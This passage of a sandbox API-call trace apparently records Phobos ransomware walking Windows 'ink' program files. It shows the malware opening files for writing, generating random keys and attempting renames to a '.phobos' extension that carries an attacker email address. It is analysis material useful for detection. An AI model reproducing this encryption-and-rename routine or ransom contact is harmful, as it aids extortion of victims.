lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.883] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=367104) returned 1 [0124.883] CloseHandle (hObject=0x594) returned 1 [0124.883] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe")) returned 0x20 [0124.883] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.884] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.884] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.884] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.885] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=2560) returned 1 [0124.885] CloseHandle (hObject=0x594) returned 1 [0124.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll")) returned 0x20 [0124.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.885] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.886] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.886] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.891] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=41984) returned 1 [0124.891] CloseHandle (hObject=0x594) returned 1 [0124.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll")) returned 0x20 [0124.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.891] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.891] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.892] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=125952) returned 1 [0124.892] CloseHandle (hObject=0x594) returned 1 [0124.892] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll")) returned 0x20 [0124.892] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.892] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.899] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=10752) returned 1 [0124.899] CloseHandle (hObject=0x594) returned 1 [0124.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui")) returned 0x20 [0124.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.899] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.899] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.899] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.899] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=7680) returned 1 [0124.899] CloseHandle (hObject=0x594) returned 1 [0124.900] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui")) returned 0x20 [0124.900] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.900] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.900] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.900] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.914] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=7680) returned 1 [0124.914] CloseHandle (hObject=0x594) returned 1 [0124.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui")) returned 0x20 [0124.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.914] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.914] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.914] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.916] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=763) returned 1 [0124.916] CloseHandle (hObject=0x57c) returned 1 [0124.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml")) returned 0x20 [0124.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.916] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.917] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.917] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.919] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=10240) returned 1 [0124.919] CloseHandle (hObject=0x57c) returned 1 [0124.919] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui")) returned 0x20 [0124.919] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.919] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.919] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.920] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.921] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=1700352) returned 1 [0124.921] CloseHandle (hObject=0x57c) returned 1 [0124.921] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll")) returned 0x20 [0124.921] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0124.921] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll")) returned 0 [0124.921] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.921] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.922] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=503808) returned 1 [0124.922] CloseHandle (hObject=0x57c) returned 1 [0124.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll")) returned 0x20 [0124.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.922] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.922] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.922] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.924] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=1540608) returned 1 [0124.924] CloseHandle (hObject=0x57c) returned 1 [0124.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe")) returned 0x20 [0124.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.924] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.924] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.924] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.937] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=51200) returned 1 [0124.937] CloseHandle (hObject=0x57c) returned 1 [0124.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll")) returned 0x20 [0124.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.937] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.937] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.937] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.940] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=1075712) returned 1 [0124.940] CloseHandle (hObject=0x57c) returned 1 [0124.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll")) returned 0x20 [0124.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.940] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.940] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.940] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0124.946] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=10240) returned 1 [0124.946] CloseHandle (hObject=0x58c) returned 1 [0124.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui")) returned 0x20 [0124.947] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.947] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.947] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.947] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0124.950] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=10240) returned 1 [0124.950] CloseHandle (hObject=0x58c) returned 1 [0124.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui")) returned 0x20 [0124.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.950] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.950] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.950] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0124.950] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=10752) returned 1 [0124.950] CloseHandle (hObject=0x58c) returned 1 [0124.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui")) returned 0x20 [0124.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 